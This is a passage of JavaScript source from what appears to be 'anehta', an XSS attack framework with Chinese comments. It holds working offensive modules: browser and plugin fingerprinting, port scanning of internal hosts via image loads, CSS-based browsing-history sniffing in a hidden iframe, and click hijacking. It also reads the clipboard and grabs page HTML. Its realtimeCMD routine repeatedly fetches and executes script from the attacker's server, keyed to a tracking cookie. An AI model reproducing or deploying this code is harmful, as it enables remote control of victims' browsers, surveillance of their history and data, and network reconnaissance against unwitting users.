"opera"; } else if (typeof window.netscape != "undefined") { // mozilla 独占 anehtaCache.setItem("BrowserSniffer", "Mozilla"); // 可以准确识别 if (typeof window.Iterator != "undefined") { anehtaCache.setItem("BrowserSniffer", "Firefox 2"); if (typeof document.styleSheetSets != "undefined") { // Firefox 3 & Opera 9 anehtaCache.setItem("BrowserSniffer", "Firefox 3"); } } return "mozilla"; } else if (typeof window.pageXOffset != "undefined") { // mozilla & safari anehtaCache.setItem("BrowserSniffer", "Safari"); try{ if (typeof external.AddSearchProvider != "undefined") { // firefox & google chrome anehtaCache.setItem("BrowserSniffer", "Google Chrome"); return "chrome"; } } catch (e) { return "safari"; } } else { //unknown anehtaCache.setItem("BrowserSniffer", "Unknown << "+userAgent+" >>"); return "unknown"; } }, // 从userAgent里取出来的不可靠 version : function(){ //return $.browser.version; return (userAgent.match( /.+(?:rv|it|ra|ie|me)[\/: ]([\d.]+)/ ) || [])[1]; } }; }; // 先判断浏览器版本 $.browser.msie/safari/opera/mozilla var anehtaBrowser = new anehta.detect.browser(); // 检查显示器分辨率 返回一个Array(长,宽) anehta.detect.screenSize = function(){ var screenSize = new Array(); screenSize[0] = screen.width; screenSize[1] = screen.height; anehtaCache.setItem("screenSize", screenSize[0]+"x"+screenSize[1]); return screenSize; } // 跨浏览器检查某个版本的flash是否支持 // anehta.detect.flash("8"); 支持返回true,不支持返回false // 执行完后,flash版本被保存到 anehtaCache的 FlashVer 中 anehta.detect.flash = function(targetVersion){ var FlashDetector_Version; var playable = false; if (anehtaBrowser.type() == "msie" || anehtaBrowser.type() == "opera"){ try { FlashDetector_Version = "ShockwaveFlash.ShockwaveFlash." + targetVersion; FlashObj = new ActiveXObject(FlashDetector_Version); anehtaCache.setItem("FlashVer", FlashDetector_Version); // 保存到cache中 playable = true; } catch (e){ return playable; } } else if (anehtaBrowser.type() == "mozilla"){ var pObj = null; var tokens, len, curr_tok; var hasVersion = -1; if(navigator.mimeTypes && navigator.mimeTypes['application/x-shockwave-flash']) { pObj = navigator.mimeTypes['application/x-shockwave-flash'].enabledPlugin; } if(pObj != null) { tokens = navigator.plugins['Shockwave Flash'].description.split(' '); len = tokens.length; while(len--) { curr_tok = tokens[len]; if(!isNaN(parseInt(curr_tok))) { hasVersion = curr_tok; FlashDetector_Version = curr_tok; // flash版本 anehtaCache.setItem("FlashVer", FlashDetector_Version); // 保存到cache中 break; } } if(hasVersion >= targetVersion) { playable = true; } else { playable = false; } } } return playable; }; anehta.detect.java = function(){ } anehta.detect.silverlight = function(){ } anehta.detect.internalIP = function(){ } anehta.detect.hostname = function(){ } anehta.detect.httponly = function(){ } anehta.detect.activex = function(objName){ // 需要指定object name try { var Obj = new ActiveXObject(objName); return true; } catch (e){ return false; } } anehta.detect.ffplugin = function(pluginName){ if (anehtaBrowser.type() == "mozilla"){ var allplugins; allplugins = anehta.scanner.ffplugins(); if ( allplugins.indexOf(pluginName) > -1 ){ // 找到了 return true; } } return false; } // 通过图片的状态检查是否存在ff扩展; extname需要是anehta.signatures.ffextensions中的 anehta.detect.ffExtension = function (extname){ } ////////////////////////////////////////////////// // Scanner Library ////////////////////////////////////////////////// anehta.scanner = {}; // 扫描签名中定义好的activex anehta.scanner.activex = function(){ if (anehtaBrowser.type() == "msie"){ var objtmp; for (i=0; i<anehta.signatures.activex.length; i++){ objtmp = anehta.signatures.activex[i].split('|'); // 分隔符是"|" if ( anehta.detect.activex(objtmp[1]) == true ){ anehtaCache.appendItem("Activex", "|"+objtmp[0]+": "+objtmp[1]); // 保存到cache中 } } return anehtaCache.getItem("Activex"); } else { // 非IE return false; } } // 扫描Firefox 插件 anehta.scanner.ffPlugins = function (){ if (anehtaBrowser.type() == "mozilla"){ for (var i = 0; i < navigator.plugins.length; i++) { // 用"|"作为分隔符 anehtaCache.appendItem("FirefoxPlugins" , "|"+navigator.plugins[i].name); } return anehtaCache.getItem("FirefoxPlugins"); } else { // 非mozilla浏览器 return false; } } // 检查url是否是图片,返回200则加载成功,触发onload,否则失败,触发onerror anehta.scanner.imgCheck = function(imgurl){ var m = new Image(); m.onload = function() { alert(1); return true }; m.onerror = function() { alert(2); return false; }; m.src = imgurl; //连接图片 } //扫描 Firefox 扩展 anehta.scanner.ffExtensions = function (){ for (var i = 0; i < anehta.signatures.ffextensions.length; i++){ //alert(anehta.signatures.ffextensions[i].url); anehta.scanner.imgCheck(anehta.signatures.ffextensions[i].url); //alert(result); //if (result == true){ //alert(anehta.signatures.ffextensions[i].name); //} } } // idea from attackAPI // timeout非常重要,一般900比较合适 anehta.scanner.checkPort = function(scanHost, scanPort, timeout){ var m = new Image(); // 通过onerror和onload的状态来判断 m.onerror = function () { if (!m) return; m = undefined; alert("open: "+scanPort); }; m.onload = m.onerror; //连接端口 m.src = "http://"+scanHost+":"+scanPort; setTimeout(function () { if (!m) return; m = undefined; alert("closed: "+scanPort); }, timeout); } //扫描多个端口,效果非常不好 anehta.scanner.ports = function(target, timeout){ for (var i=0; i<anehta.signatures.ports.length; i++){ anehta.scanner.checkPort(target, anehta.signatures.ports[i], timeout); } } //css track history log; 返回所有访问过的网站 anehta.scanner.history = function(){ var urls = anehta.signatures.sites; // 扫描的站点 var ifr = document.createElement('iframe'); ifr.style.visibility = 'hidden'; ifr.style.width = ifr.style.height = 0; document.body.appendChild(ifr); // 核心部分 var doc = anehta.dom.getDocument(ifr); doc.open(); doc.write('<style>a:visited{display: none}</style>'); doc.close(); for (var i = 0; i < urls.length; i++) { var a = doc.createElement('a'); a.href = urls[i]; doc.body.appendChild(a); if (a.currentStyle){ var display = a.currentStyle['display']; } else { var display = doc.defaultView.getComputedStyle(a, null).getPropertyValue('display'); } // 找到了 if (display == 'none' ){ //alert("found! "+urls[i]); anehtaCache.appendItem("sitesHistory", " | "+urls[i]); // 保存到cache中,'|'是分隔符 } } document.body.removeChild(ifr); return anehtaCache.getItem("sitesHistory"); } anehta.scanner.online = function(){ } anehta.scanner.ping = function(){ } anehta.scanner.localfile = function(){ } ////////////////////////////////////////////////// // Trick Library ////////////////////////////////////////////////// anehta.trick = {}; // 劫持点击链接。idea from http://www.breakingpointsystems.com/community/blog/clickjacking-technique-using-the-mousedown-event // by Dustin D. Trammell anehta.trick.hijackLink = function(link, url){ window.changeHref = function(){ link.href = url; }; anehta.dom.bindEvent(link, "mousedown", "changeHref"); } anehta.trick.fakeForm = function(){ } anehta.trick.popupForm = function(){ } ////////////////////////////////////////////////// // Miscellaneous Library ////////////////////////////////////////////////// anehta.misc = {}; anehta.misc.stealFile = function(){ } // 实时命令模块 anehta.misc.realtimeCMD = function(){ var timeInterval = 5000; // 时间间隔 var realtimeCmdMaster = anehtaurl + "/server/realtimecmd.php?"; setInterval(function(){ var timesig = new Date(); // 水印只能从cookie中取 var watermarknum = anehta.dom.getCookie("anehtaWatermark"); if (watermarknum != null){ watermarknum = watermarknum.substring(watermarknum.indexOf('|')+1); } var rtcmd = anehta.inject.injectScript(realtimeCmdMaster+"watermark="+watermarknum+"&t="+timesig.getTime()); // 留出一定的时间执行,然后删除它 setTimeout(function(){ anehta.inject.removeScript(rtcmd);}, 1500); }, timeInterval); } // IE only! // Read/Write to Clipboard will cause a security warning! anehta.misc.getClipboard = function(){ if(window.clipboardData){ return window.clipboardData.getData('Text'); } return null; } anehta.misc.setClipboard = function(data){ if(window.clipboardData){ return window.clipboardData.setData('Text', data); } return false; } anehta.misc.getCurrentPage = function(){ //return document.childNodes[0].innerHTML; //return document.body.parentNode.innerHTML; return document.documentElement.innerHTML; } anehta.misc.htmlEncode = function(str){ var div = document.createElement('div'); var text = document.createTextNode(str); div.appendChild(text); return div.innerHTML; } anehta.misc.htmlDecode = function(strEncodeHTML){ var div = document.createElement('div'); div.innerHTML = strEncodeHTML; return div.innerText; } ////////////////////////////////////////////////// // Crypto Library ////////////////////////////////////////////////// anehta.crypto ={}; anehta.crypto.random = function(){ var x = Math.random(); x = x * 100000000000; // 取13位 return x; } //JavaScript base64_decode // Copyright (C) 1999 Masanao Izumo <iz@onicos.co.jp> // Version: 1.0 // LastModified: Dec 25 1999 // This library is free. You can redistribute it and/or modify it. // // // Interfaces: // b64 = base64encode(data); // data = base64decode(b64); // var base64EncodeChars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; var base64DecodeChars = new Array( -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1); anehta.crypto.base64Encode = function(str) { var out, i, len; var c1, c2, c3; len = str.length; i = 0; out = ""; while(i < len) { c1 = str.charCodeAt(i++) & 0xff; if(i == len) { out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt((c1 & 0x3) << 4); out += "=="; break; } c2 = str.charCodeAt(i++); if(i == len) { out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt(((c1 & 0x3)<< 4) | ((c2 & 0xF0) >> 4)); out += base64EncodeChars.charAt((c2 & 0xF) << 2); out += "="; break; } c3 = str.charCodeAt(i++); out += base64EncodeChars.charAt(c1 >> 2); out += base64EncodeChars.charAt(((c1 & 0x3)<< 4) | ((c2 & 0xF0) >> 4)); out += base64EncodeChars.charAt(((c2 & 0xF) << 2) | ((c3 & 0xC0) >>6)); out += base64EncodeChars.charAt(c3 & 0x3F); } return out; } anehta.crypto.base64Decode = function(str) { var c1, c2, c3, c4; var i, len, out; len = str.length; i = 0; out = ""; while(i < len){ /* c1 */ do { c1 = base64DecodeChars[str.charCodeAt(i++) & 0xff]; } while(i < len && c1 == -1); if(c1 == -1) break; /* c2 */ do { c2 = base64DecodeChars[str.charCodeAt(i++) & 0xff]; } while(i < len && c2 == -1); if(c2 == -1) break; out += String.fromCharCode((c1 << 2) | ((c2 & 0x30) >> 4)); /* c3 */ do { c3 = str.charCodeAt(i++) & 0xff; if(c3 == 61) return out; c3 = base64DecodeChars[c3]; } while(i < len && c3 == -1); if(c3 == -1) break; out += String.fromCharCode(((c2 & 0XF) << 4) | ((c3 & 0x3C) >> 2)); /* c4 */ do { c4 = str.charCodeAt(i++) & 0xff; if(c4 == 61) return out; c4 = base64DecodeChars[c4]; } while(i < len && c4 == -1); if(c4 == -1) break; out += String.fromCharCode(((c3 & 0x03) << 6) | c4); } return out; } ////////////////////////////////////////////////// // 自定义库 //////////////////////////////////////////////////
JavaScript